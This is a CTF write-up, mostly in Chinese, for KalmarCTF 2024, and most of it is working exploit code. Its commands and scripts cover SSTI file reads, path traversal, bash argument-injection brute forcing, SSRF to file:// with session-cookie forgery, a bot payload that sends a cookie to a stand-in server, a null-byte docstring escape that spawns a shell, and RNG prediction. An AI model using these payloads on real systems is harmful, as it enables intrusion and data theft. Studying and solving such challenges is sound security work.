KalmarCTF 2024 WriteUps

和 ${cystick} 打了這場比賽,主要解了幾題 web/crypto/misc 而已。

Web

Ez ⛳ v2

這題就個 caddy server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
(sec_headers) {
root * /
header {
Content-Security-Policy "default-src 'none'; frame-ancestors 'none'; base-uri 'none';"
Strict-Transport-Security "max-age=31536000"
X-XSS-Protection 0
X-Content-Type-Options nosniff
X-Frame-Options DENY
Referrer-Policy "no-referrer"
}
}

(html_reply) {
import sec_headers
header Content-Type text/html
templates
respond "<!DOCTYPE html><meta charset=utf-8><title>{http.request.host}</title><body>{args[0]}</body>"
}

(json_reply) {
templates {
# By default placeholders are not replaced for json
mime application/json
}
header Content-Type application/json
respond "{args[0]}"
}

(http_reply) {
tls internal {
alpn "{args[0]}"
}
map {args[0]} {proto_name} {
http/1.1 HTTP/1.1
h2 HTTP/2.0
h3 HTTP/3.0
}
@correctALPN `{http.request.proto} == {proto_name}`
respond @correctALPN "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
import html_reply "You are connected with {http.request.proto} instead of {proto_name} ({tls_version}, {tls_cipher}). <!-- Debug: {http.request.uuid}-->"
}

(tls_reply) {
tls internal {
protocols {args[0]} {args[1]}
}
header Access-Control-Allow-Origin "*"
import json_reply {"tls_version":"{tls_version}","alpn":"{http.request.tls.proto}","sni":"{http.request.tls.server_name}","cipher_suite":"{http.request.tls.cipher_suite}"}
}

mtls.caddy.chal-kalmarc.tf {
tls internal {
client_auth {
mode require
}
}
templates
import html_reply `You are connected with client-cert {http.request.tls.client.subject}`
}
tls.caddy.chal-kalmarc.tf {
import tls_reply tls1.2 tls1.3
}
tls12.caddy.chal-kalmarc.tf {
import tls_reply tls1.2 tls1.2
}
tls13.caddy.chal-kalmarc.tf {
import tls_reply tls1.3 tls1.3
}
ua.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply `User-Agent: {{.Req.Header.Get "User-Agent"}}`
}
http.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
}
http1.caddy.chal-kalmarc.tf {
import http_reply http/1.1
}
http2.caddy.chal-kalmarc.tf {
import http_reply h2
}
http3.caddy.chal-kalmarc.tf {
import http_reply h3
}

caddy.chal-kalmarc.tf {
tls internal
import html_reply `Hello! Wanna know you if your browser supports <a href="https://http1.caddy.chal-kalmarc.tf/">http/1.1</a>? <a href="https://http2.caddy.chal-kalmarc.tf/">http/2</a>? Or fancy for some <a href="https://http3.caddy.chal-kalmarc.tf/">http/3</a>?! Check your preference <a href="https://http.caddy.chal-kalmarc.tf/">here</a>.<br/>We also allow you to check <a href="https://tls12.caddy.chal-kalmarc.tf/">TLS/1.2</a>, <a href="https://tls13.caddy.chal-kalmarc.tf/">TLS/1.3</a>, <a href="https://tls.caddy.chal-kalmarc.tf/">TLS preference</a>, supports <a href="https://mtls.caddy.chal-kalmarc.tf/">mTLS</a>? Checkout your <a href="https://ua.caddy.chal-kalmarc.tf/">User-Agent</a>!<!-- At some point we might even implement a <a href="https://flag.caddy.chal-kalmarc.tf/">flag</a> endpoint! -->`
}

它 user-agent 可以注入 SSTI,因為它用了個 templates 的功能,所以讀一下文件可以知道它有讀取檔案列表和讀檔的功能,簡單就拿到 flag 了:

1
2
3
curl https://ua.caddy.chal-kalmarc.tf/ --user-agent '{{ listFiles "/" }}'
curl https://ua.caddy.chal-kalmarc.tf/ --user-agent '{{ include "/CVGjuzCIVR99QNpJTLtBn9" }}'
# kalmar{Y0_d4wg_I_h3rd_y0u_l1k3_templates_s0_I_put_4n_template_1n_y0ur_template_s0_y0u_c4n_readFile_wh1le_y0u_executeTemplate}

BadAss Server for Hypertext

沒給 code,但是從題目名稱和回傳的 header 可知它是用 bash 寫的,所以我猜有 path traveral:

1
2
3
4
5
6
7
8
9
> printf 'GET /assets/../../../../etc/passwd HTTP/1.0\r\n\r\n' | nc chal-kalmarc.tf 8080
HTTP/1.0 200 OK
Content-Type: text/plain
X-Powered-By: Bash
Content-Length: 839
Connection: close

root:x:0:0:root:/root:/bin/bash
...

/proc/1/cmdline 發現 code 在 /app/badass_server.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/bin/bash

# I hope there are no bugs in this source code...

set -e

declare -A request_headers
declare -A response_headers
declare method
declare uri
declare protocol
declare request_body
declare status="200 OK"

abort() {
declare -gA response_headers
status="400 Bad Request"
write_headers
if [ ! -z ${1+x} ]; then
>&2 echo "Request aborted: $1"
echo -en $1
fi
exit 1
}

write_headers() {
response_headers['Connection']='close'
response_headers['X-Powered-By']='Bash'

echo -en "HTTP/1.0 $status\r\n"

for key in "${!response_headers[@]}"; do
echo -en "${key}: ${response_headers[$key]}\r\n"
done

echo -en '\r\n'

>&2 echo "$(date -u +'%Y-%m-%dT%H:%M:%SZ') $SOCAT_PEERADDR $method $uri $protocol -> $status"
}

receive_request() {
read -d $'\n' -a request_line

if [ ${#request_line[@]} != 3 ]; then
abort "Invalid request line"
fi

method=${request_line[0]}

uri=${request_line[1]}

protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g')

if [[ ! $method =~ ^(GET|HEAD)$ ]]; then
abort "Invalid request method"
fi

if [[ ! $uri =~ ^/ ]]; then
abort 'Invalid URI'
fi

if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
abort 'Invalid protocol'
fi

while read -d $'\n' header; do
stripped_header=$(echo -n "$header" | sed 's/^\s*//g' | sed 's/\s*$//g')

if [ -z "$stripped_header" ]; then
break;
fi

header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');

if [ -z "$header_name" ] || [[ "$header_name" =~ [[:space:]] ]]; then
abort "Invalid header name";
fi

# If header already exists, add value to comma separated list
if [[ -v request_headers[$header_name] ]]; then
request_headers[$header_name]="${request_headers[$header_name]}, $header_value"
else
request_headers[$header_name]="$header_value"
fi
done

body_length=${request_headers["content-length"]:-0}

if [[ ! $body_length =~ ^[0-9]+$ ]]; then
abort "Invalid Content-Length"
fi

read -N $body_length request_body
}

handle_request() {
# Default: serve from static directory
path="/app/static$uri"
path_last_character=$(echo -n "$path" | tail -c 1)

if [ "$path_last_character" == '/' ]; then
path="${path}index.html"
fi

if ! cat "$path" > /dev/null; then
status="404 Not Found"
else
mime_type=$(file --mime-type -b "$path")
file_size=$(stat --printf="%s" "$path")

response_headers["Content-Type"]="$mime_type"
response_headers["Content-Length"]="$file_size"
fi

write_headers

cat "$path" 2>&1
}

receive_request
handle_request

然後我用 shellcheck 檢查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
> shellcheck server.sh

In server.sh line 19:
if [ ! -z ${1+x} ]; then
^-- SC2236 (style): Use -n instead of ! -z.


In server.sh line 21:
echo -en $1
^-- SC2086 (info): Double quote to prevent globbing and word splitting.

Did you mean:
echo -en "$1"


In server.sh line 42:
read -d $'\n' -a request_line
^--^ SC2162 (info): read without -r will mangle backslashes.


In server.sh line 62:
if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
^-------^ SC2086 (info): Double quote to prevent globbing and word splitting.
^-------^ SC2086 (info): Double quote to prevent globbing and word splitting.

Did you mean:
if [ "$protocol" != 'HTTP/1.0' ] && [ "$protocol" != 'HTTP/1.1' ]; then


In server.sh line 66:
while read -d $'\n' header; do
^--^ SC2162 (info): read without -r will mangle backslashes.


In server.sh line 94:
read -N $body_length request_body
^--^ SC2162 (info): read without -r will mangle backslashes.
^----------^ SC2086 (info): Double quote to prevent globbing and word splitting.
^----------^ SC2034 (warning): request_body appears unused. Verify use (or export if used externally).

Did you mean:
read -N "$body_length" request_body

For more information:
https://www.shellcheck.net/wiki/SC2034 -- request_body appears unused. Veri...
https://www.shellcheck.net/wiki/SC2086 -- Double quote to prevent globbing ...
https://www.shellcheck.net/wiki/SC2162 -- read without -r will mangle backs...

看起來最可疑的是 [ $protocol != 'HTTP/1.0' ],那邊因為沒 quote 所以如果變數中有空白 ($IFS) 的話會自動做 word splitting。所以那邊如果有 protocol='-f /path/to/file -a x' 的話就能判斷一個檔案是否存在,且那個檔案路徑是可以用 glob 的。

不過有個小問題是 $protocol 來自 $request_line[2],然後 $request_line 又來自 read -d $'\n' -a request_line,這代表它讀入一個字串後按空白切開成 array,因此 $protocol 就不能包含空白了?! 不過這其實也好解決,看 shellcheck 的輸出說它因為沒有 -r 所以會特別處理 \,做了一些測試發現說只要在空白前加上 \ 就行了,因此有這個結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> printf 'GET / -f\ /etc/passw?\ -a\ x\ \r\n\r\n' | nc chal-kalmarc.tf 8080
HTTP/1.0 400 Bad Request
X-Powered-By: Bash
Connection: close

Invalid protocol

> printf 'GET / -f\ /etc/passx?\ -a\ x\ \r\n\r\n' | nc chal-kalmarc.tf 8080
HTTP/1.0 200 OK
Content-Type: text/html
X-Powered-By: Bash
Content-Length: 518
Connection: close

<!DOCTYPE html>
...

然後它首頁的 html 中有 assets/f200d055a267ae56160198e0fcb47e5f/try_harder.txt 之類的 path,所以花了一些時間後猜出 flag 放在 assets/unknown_hash/flag.txt 中,所以這邊就用 glob 去一個一個字元爆 hash 就出來了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import remote, context
import string
from concurrent.futures import ThreadPoolExecutor


def guess(prefix):
context.log_level = "error"
io = remote("chal-kalmarc.tf", 8080)
io.send(
f"GET / -f\ /app/static/assets/{prefix}*/flag.txt\ -a\ x\r\n\r\n".encode()
)
return b"400 Bad Request" in io.recvall()


chrs = string.hexdigits
prefix = ""
while len(prefix) < 32:
with ThreadPoolExecutor() as executor:
futures = [executor.submit(guess, prefix + c) for c in chrs]
for fut, c in zip(futures, chrs):
if fut.result():
prefix += c
print(prefix)
break
# printf 'GET /assets/../../../../app/static/assets/9df5256fe48859c91122cb92964dbd66/flag.txt HTTP/1.0\r\n\r\n' | nc chal-kalmarc.tf 8080
# kalmar{17b29adf_bash_web_server_was_a_mistake_374add33}

最後還可以發現 hash 其實就是檔案的 md5:

1
2
> printf 'kalmar{17b29adf_bash_web_server_was_a_mistake_374add33}' | md5sum
9df5256fe48859c91122cb92964dbd66 -

Is It Down

沒 code 的 SSRF 題,亂試發現可以用 redirect to file:// 去 LFR,然後用 procfs 找到 /etc/uwsgi/uwsgi-custom.ini,然後就找到 source code 了。

1
curl -s 'http://is-it-down.chal-kalmarc.tf/check' --data-urlencode 'url=https://httpbin.org/redirect-to?url=file:///var/www/keep-dreaming-sonny-boy/app.py' | jq -r .content | sed 's/\\n/\n/g' | sed 's/\\t/\t/g' | sed "s/\\\\'/'/g"

app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from flask import Flask, request, send_from_directory, session, abort
from requestlib import fetch
from config import session_encryption_key
import subprocess, os

def protect_secrets():
os.unlink("config.py")

def check_url(url):
if not isinstance(url, str) or len(url) == 0:
return False, "Please provide a regular url!"

if not url.startswith("https://") or url.lstrip() != url:
return False, "Url must start with 'https://'. We do not want anything insecure here!"

return True, ""

app = Flask(__name__, static_folder='static', static_url_path='/assets/')
app.secret_key = session_encryption_key

print("Using key: ", app.secret_key)

protect_secrets()

@app.route('/', methods=['GET'])
def home():
return send_from_directory('pages','index.html')

@app.route('/flag', methods=['GET'])
def healthcheck():
if session.get("admin") == True:
return subprocess.check_output("/readflag")
else:
return abort(403)

@app.route('/check', methods=['POST'])
def check():
url = request.form.get("url")
valid, err = check_url(url)

if not valid:
return {
'success': False,
'error': err
}

if True:
content = fetch(url)
return {
'success': True,
'online': content != None,
'content': content
}


if __name__ == "__main__":
app.run(host='0.0.0.0', port=10600, debug=False)

requestlib.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from urllib.request import urlopen, HTTPErrorProcessor, install_opener, build_opener, Request
import urllib

class NoRedirection(HTTPErrorProcessor):
def http_response(self, request, response):
return response

https_response = http_response

install_opener(build_opener(NoRedirection()))

def fetch(url, follow_redirects = True):
'''
Avoid endless redirect loops
'''
headers = {
"User-Agent": "requestlib 2.9-alpha"
}
req = Request(url, headers=headers)
print("Url: ", url, follow_redirects, flush=True)
with urlopen(req) as res:
redirect_url = res.headers["Location"]
if redirect_url and follow_redirects:
return fetch(redirect_url, follow_redirects=False)

return str(res.read())[2:-1]

讀一下可以知道目標是要 sign session,所以要知道 config.py 中的 secret key,但是那個檔案也已經被刪了,而它 print 的地方是寫到 output 去。可是這題的 uwsgi config 又沒有做 log to file:

1
2
3
4
5
6
7
8
9
10
11
12
[uwsgi]
uid = www-data
gid = www-data
master = true
processes = 20
http-socket = 0.0.0.0:5000
chmod-sock = 664
vacuum = true
die-on-term = true
wsgi-file = /var/www/keep-dreaming-sonny-boy/app.py
callable = app
pythonpath = /usr/local/lib/python3.11/site-packages

後來在這邊卡了一段時間後才想到 import 的檔案有 pyc cache,依照版本 python 3.11 來說 config.py 應該 cache 在 __pycache__/config.cpython-311.pyc:

1
2
> curl -s 'http://is-it-down.chal-kalmarc.tf/check' --data-urlencode 'url=https://httpbin.org/redirect-to?url=file:///var/www/keep-dreaming-sonny-boy/__pycache__/config.cpython-311.pyc' | jq -r .content
\xa7\r\r\n\x00\x00\x00\x00:\xbe\xf5e;\x00\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf3\n\x00\x00\x00\x97\x00d\x00Z\x00d\x01S\x00)\x02\xda Rm7GbQJ4uDikyiis6miD7YwsN11rEjfLN)\x01\xda\x16session_encryption_key\xa9\x00\xf3\x00\x00\x00\x00\xfa*/var/www/keep-dreaming-sonny-boy/config.py\xfa\x08<module>r\x07\x00\x00\x00\x01\x00\x00\x00s\x11\x00\x00\x00\xf0\x03\x01\x01\x01\xd8\x19;\xd0\x00\x16\xd0\x00\x16\xd0\x00\x16r\x05\x00\x00\x00

我這邊用 pylingual.io 解 pyc: results

顯然 secret key 是 Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL,然後就可以 sign session 拿 flag:

1
2
3
4
5
> flask-unsign --secret 'Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL' --cookie "{'admin': True}" --sign
eyJhZG1pbiI6dHJ1ZX0.ZfcwFw.pkOhk2XDZZ6IBYHmrRCsmtOir_Y

> curl -s 'http://is-it-down.chal-kalmarc.tf/flag' --cookie 'session=eyJhZG1pbiI6dHJ1ZX0.ZfcwFw.pkOhk2XDZZ6IBYHmrRCsmtOir_Y'
kalmar{Rem3Mbr_T0_fl0sh!}

No eXcuSeS

這題的網站基本上一看就知道不能 XSS,而 bot.js 長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const puppeteer = require('puppeteer');

const FLAG = 'kalmar{this_is_a_test_flag!!}';
const HOST = "http://localhost:7357";

const sleep = ms => new Promise(r => setTimeout(r, ms));

async function visit(url) {
let browser;
try {
browser = await puppeteer.launch({
headless: "new",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
});

let page = await browser.newPage();
await page.goto(HOST, { timeout: 1000, waitUntil: 'domcontentloaded' });

await page.evaluate((flag) => {
document.cookie = "flag=" + flag + "; path=/";
}, FLAG);

await page.close();
page = await browser.newPage();


await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
await sleep(2000);

await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
}


module.exports = { visit };

app.js 呼叫它的地方是這麼做的:

1
2
3
4
5
6
app.post('/report', (req, res) => {
const url = req.body.url;
visit(url);

res.send('Bot is visiting your url');
});

顯然它沒對 url 做任何檢查,所以不只有 http:, https: url 能用。

嘗試使用 javascript: url 的話它確實會嘗試執行,但是又會同時觸發 net::ERR_ABORTED 這個錯誤,導致進入 catch 後又進到 finally,所以 browser 就被關了。

想一下會發現還有個是 file: url 能用,例如 file:///app/bot.js 就會把上面的 bot.js 顯示在瀏覽器上。仔細想一下會發現既然能載入,如果有方法能透過 <script> 把它引入的話不就能 leak flag 了嗎?

雖然一般從 http: 或是 https: 的頁面是不能 embed file: 的資源,但是只要頁面本身也是 file: 的話就可以了,因此只要找個方法能在檔案系統上留下一個 html,裡面內容可控的方法就行。

Content-Disposition 的問題是一樣會得到 net::ERR_ABORTED,所以就改用 javascript + <a href="..." download="..."> 的方式就成功了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script type="module">
const blob = new Blob([`
<script>
require = () => {}
module = {}
<\/script>
<script src="file:///app/bot.js"><\/script>
<script>
location = 'https://YOUR_SERVER/flag?flag=' + encodeURIComponent(FLAG)
<\/script>
`])
const a = document.createElement('a')
a.href = URL.createObjectURL(blob)
a.download = 'peko.html'
document.body.appendChild(a)
a.click()
</script>

讓它瀏覽強制下載檔案,之後然後再瀏覽一次 file:///root/Downloads/peko.html 就能拿 flag: kalmar{wow_you_dont_need_excuses!-please_send_us_a_dm_with_your_solution!}

Crypto

Cracking The Casino

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/python3 
from Pedersen_commitments import gen, commit, verify


# I want to host a trustworthy online casino!
# To implement blackjack and craps in a trustworthy way i need verifiable dice and cards!
# I've used information theoretic commitments to prevent players from cheating.
# Can you audit these functionalities for me ?

from random import randint
# Verifiable Dice roll
def roll_dice(pk):
roll = randint(1,6)
comm, r = commit(pk,roll)
return comm, roll, r

# verifies a dice roll
def check_dice(pk,comm,guess,r):
res = verify(pk,comm, r, int(guess))
return res

# verifiable random card:
def draw_card(pk):
idx = randint(0,51)
# clubs spades diamonds hearts
suits = "CSDH"
values = "234567890JQKA"
value = values[idx%13]
suit = suits[idx//13]
card = value + suit
comm, r = commit(pk, int(card.encode().hex(),16))
return comm, card, r

# take a card (as two chars, fx 4S = 4 of spades) and verifies it was the committed card
def check_card(pk, comm, guess, r):
res = verify(pk, comm, r, int(guess.encode().hex(),16))
return res


# Debug testing values for larger values
def debug_test(pk):
dbg = randint(0,2**32-2)
comm, r = commit(pk,dbg)
return comm, dbg, r

# verify debug values
def check_dbg(pk,comm,guess,r):
res = verify(pk,comm, r, int(guess))
return res


def audit():
print("Welcome to my (beta test) Casino!")
q,g,h = gen()
pk = q,g,h
print(f'public key for Pedersen Commitment Scheme is:\nq = {q}\ng = {g}\nh = {h}')
chosen = input("what would you like to play?\n[D]ice\n[C]ards")

if chosen.lower() == "d":
game = roll_dice
verif = check_dice
elif chosen.lower() == "c":
game = draw_card
verif = check_card
else:
game = debug_test
verif = check_dbg

correct = 0
# If you can guess the committed values more than i'd expect, then
for _ in range(1337):
if correct == 100:
print("Oh wow, you broke my casino??!? Thanks so much for finding this before launch so i don't lose all my money to cheaters!")
with open("flag.txt","r") as f:
flag = f.read()
print(f"here's that flag you wanted, you earned it! {flag}")
exit()

comm, v, r = game(pk)
print(f'Commitment: {comm}')
g = input(f'Are you able to guess the value? [Y]es/[N]o')
if g.lower() == "n":
print(f'commited value was {v}')
print(f'randomness used was {r}')
print(f'verifies = {verif(pk,comm,v,r)}')
elif g.lower() == "y":
guess = input(f'whats your guess?')
if verif(pk, comm, guess, r):
correct += 1
print("Oh wow! well done!")
else:
print("That's not right... Why are you wasting my time if you haven't broken anything?")
exit()

print(f'Guess my system is secure then! Lets go ahead with the launch!')
exit()

if __name__ == "__main__":
audit()

很簡單,randint 來自 random,用 debug_test leak 值出來解 MT19937 就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from z3 import *
from z3mt import *
from random import randint, Random
from pwn import process, remote


def gen():
return randint(0, 2**32 - 2)


def predict(outputs):
state = [BitVec(f"state_{i}", 32) for i in range(N)]
sol = Solver()
for s, o in zip(mt_gen_sol(sol, state), outputs):
sol.add(s == o)
with timeit("z3 solving"):
assert sol.check() == sat
m = sol.model()
state = [m.evaluate(s).as_long() for s in state]
r = Random()
r.setstate((3, tuple(state + [624]), None))
for v in outputs:
assert r.getrandbits(32) == v
return r


# io = process(["python", "casino.py"])
io = remote("chal-kalmarc.tf", 9)
io.recvuntil(b"q = ")
q = int(io.recvline().strip())
io.recvuntil(b"g = ")
g = int(io.recvline().strip())
io.recvuntil(b"h = ")
h = int(io.recvline().strip())

io.sendline(b"x")
io.sendline(b"n\n" * (N + 5))
outputs = []
for _ in range(N + 5):
io.recvuntil(b"commited value was ")
outputs.append(int(io.recvline().strip()))
print("received")
rand = predict(outputs)
rand.randint(0, 2**32 - 2)
for _ in range(100):
io.sendline(b"y")
io.sendline(str(rand.randint(0, 2**32 - 2)).encode())
io.interactive()
# Kalmar{First_Crypto_Down!}

Re-Cracking The Casino

server 程式的部分和前面差不多,diff:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
10c10,11
< from random import randint
---
> # Thanks for the feedback, I'll use secure randomness then!
> from Crypto.Random.random import randint
53c54
< print("Welcome to my (beta test) Casino!")
---
> print("Welcome to my (Launch day!) Casino!")
70,73c71,75
< # If you can guess the committed values more than i'd expect, then
< for _ in range(1337):
< if correct == 100:
< print("Oh wow, you broke my casino??!? Thanks so much for finding this before launch so i don't lose all my money to cheaters!")
---
>
> # Should be secure now :)
> for _ in range(256):
> if correct == 250:
> print("Oh wow, you broke my casino again??!? That's impossible!")

就把 randint 修正後並提高了要求猜對的比例而已。然後 Perderson_commitments.py 和前面是一樣的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

from Crypto.Util.number import getStrongPrime
from Crypto.Random.random import randint

## Implementation of Pedersen Commitment Scheme
## Computationally binding, information theoreticly hiding

# Generate public key for Pedersen Commitments
def gen():
q = getStrongPrime(1024)

g = randint(1,q-1)
s = randint(1,q-1)
h = pow(g,s,q)

return q,g,h

# Create Pedersen Commitment to message x
def commit(pk, m):
q, g, h = pk
r = randint(1,q-1)

comm = pow(g,m,q) * pow(h,r,q)
comm %= q

return comm,r

# Verify Pedersen Commitment to message x, with randomness r
def verify(param, c, r, x):
q, g, h = param
if not (x > 1 and x < q):
return False
return c == (pow(g,x,q) * pow(h,r,q)) % q

可以看到它選 g 的時候沒限制說 g 一定是個 primt order subgroup 的 generator,所以有機會 leak 資訊。

我的方法是透過選 符合:

這樣收到 的時候只要開個次方得到:

而 dice 的選項中 只有六種可能,因此這兩個就足夠定出 了。不過實際上有個小問題是 verify 中它不接受 (作者說是 bug),所以還要找方法處理。

我的方法就再給 多個條件要求 而已。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import process, remote, context
from Pedersen_commitments import commit
from Crypto.Util.number import sieve_base


def connect():
# io = process(["python", "casino.py"])
io = remote("casino-2.chal-kalmarc.tf", 13337)
io.recvuntil(b"q = ")
q = int(io.recvline().strip())
io.recvuntil(b"g = ")
g = int(io.recvline().strip())
io.recvuntil(b"h = ")
h = int(io.recvline().strip())
return io, q, g, h


def find_one(q, g, h):
# idk why but the remote refused to accept x = 1 at all
# so we want to ensure g^((q-1) / x) = g for some x that is not 2 or 3
for p in sieve_base:
if p in (2, 3):
continue
if (q - 1) % p == 0 and pow(g, (q - 1) // p, q) == 1:
return (q - 1) // p + 1


while True:
io, q, g, h = connect()
checks = [
(q - 1) % 6 == 0,
pow(g, (q - 1) // 2, q) != 1,
pow(g, (q - 1) // 3, q) != 1,
pow(h, (q - 1) // 2, q) == 1,
pow(h, (q - 1) // 3, q) == 1,
]
if all(checks):
one = find_one(q, g, h)
if one is not None:
break
print("checks passed but no one found")
io.close()
pk = q, g, h
with open("pk", "w") as f:
f.write(repr(pk))


def hc(c):
return pow(c, (q - 1) // 2, q), pow(c, (q - 1) // 3, q)


tbl = {}
for m in range(1, 7):
c, _ = commit(pk, m)
tbl[hc(c)] = m
print(tbl)
for _ in range(10):
for m in range(1, 7):
c, _ = commit(pk, m)
assert tbl[hc(c)] == m

context.log_level = "debug"
io.sendline(b"d")
for _ in range(250):
io.recvuntil(b"Commitment: ")
c = int(io.recvline().strip())
m = tbl[hc(c)]
if m == 1: # qq
m = one
io.sendline(b"y")
io.sendline(str(m).encode())
io.interactive()
# Kalmar{Why_call_it_strong_if_its_so_weak...}

Misc

Docstring Prison

server.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
print('Can you help us write a docstring for our python code?\nPlease give us the docstring that you want, end with "END"')
docstring = ''
user_input = input('> ')

while user_input != "END":
docstring += user_input + '\n'
user_input = input('> ')

# Let's make sure the docstring is not terminated:
while '"""' in docstring:
print('replace')
docstring = docstring.replace('"""', '')

if len(docstring) > 100:
print('Docstring too long')
quit()

docstring = '"""\n' + docstring + '\n"""\n'
with open('code_to_comment.py', 'r') as rf:
source = rf.read()

# Write new file
new_python_file = docstring + source

package_name = 'commented_code'
new_filename = package_name + '.py'
with open(new_filename, 'w') as wf:
wf.write(new_python_file)

import os
os.system('python commented_code.py')

code_to_comment.py:

1
2
3
4
5
# Let's just make sure we don't run anything:
quit()

from flag import flag
print(flag)

這題還特別用了 python:3.11.3@sha256:3a619e3c96fd4c5fc5e1998fd4dcb1f1403eb90c4c6409c70d7e80b9468df7df 的 docker image。

總之這題難點在於要怎麼不用 """ 從 python 的 multi-line string 中脫離。我是自己亂試後發現出現 null byte \x00 時它會有奇怪的 syntax error,發現說有這個問題: mishandling of c-strings in parser

簡單來說 python 的 code 大致上是先用 line-delimiter 去切開然後每行都視為一個 C null-terminated string 處裡,所以說以下的 code 會輸出 123:

1
2
x = 'asd\0'
';print(123)#'

這邊的 \x00 要真的視為是一個 null byte 而不是字串中的 escape

所以它其實相當於 x = 'asd';print(123)#'

因此只要把 " 都換成 "\x00\n 就能繞過了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import tokenize, io

# docstring = '\n"\x00\n"\x00\n"\nimport os;os.system(\'sh\')\n"\x00\n"\x00\n"'
docstring = '""";import os;os.system(\'sh\');"""'.replace('"', '"\x00\n')
assert '"""' not in docstring
with open("payload", "w") as f:
f.write(docstring)
# (cat payload; printf '\nEND\n'; cat) | nc chal-kalmarc.tf 8532
docstring = '"""\n' + docstring + '\n"""\n'
with open("code_to_comment.py", "r") as rf:
source = rf.read()

new_python_file = docstring + source

with open("x.py", "w") as wf:
wf.write(new_python_file)

Futuristic Secret Storage

Dockerfile:

1
2
3
4
5
6
7
8
9
FROM python:latest

RUN apt update && apt install -y socat

COPY flagwriter /flagwriter

EXPOSE 7223

CMD socat tcp-l:7223,reuseaddr,fork exec:"script -qc /flagwriter /dev/null"

/flagwriter:

1
2
#!/usr/bin/env python3
print("kalmar{this_is_a_test_flag}", file=open("/dev/null", 'w'))

這題就這樣而已,正常會感覺這根本不可能解。不過翻一下 script 的 man page 可以知道它會模擬 terminal 的行為,所以一些特殊的 control sequence 都會被解讀。

其中 \x03 對應到 Ctrl-C,也就是發送 SIGINT,這邊只要配合 race 就有機會讓它在 print 那行被中斷 (KeyboardInterrupt),然後 error 就會顯示出 flag 了:

1
while true; do (sleep 0.0001; printf '\x03\n') | nc futuristic_secret_storage.chal-kalmarc.tf 7223 & ; done

會出現這種錯誤:

1
2
3
4
    print("kalmar{who_knew_you_could_just_COPY_our_secrets...}", file=open("/dev/null", 'w'))
^^^^^^^^^^^^^^^^^^^^^^
File "<frozen codecs>", line 186, in __init__
KeyboardInterrupt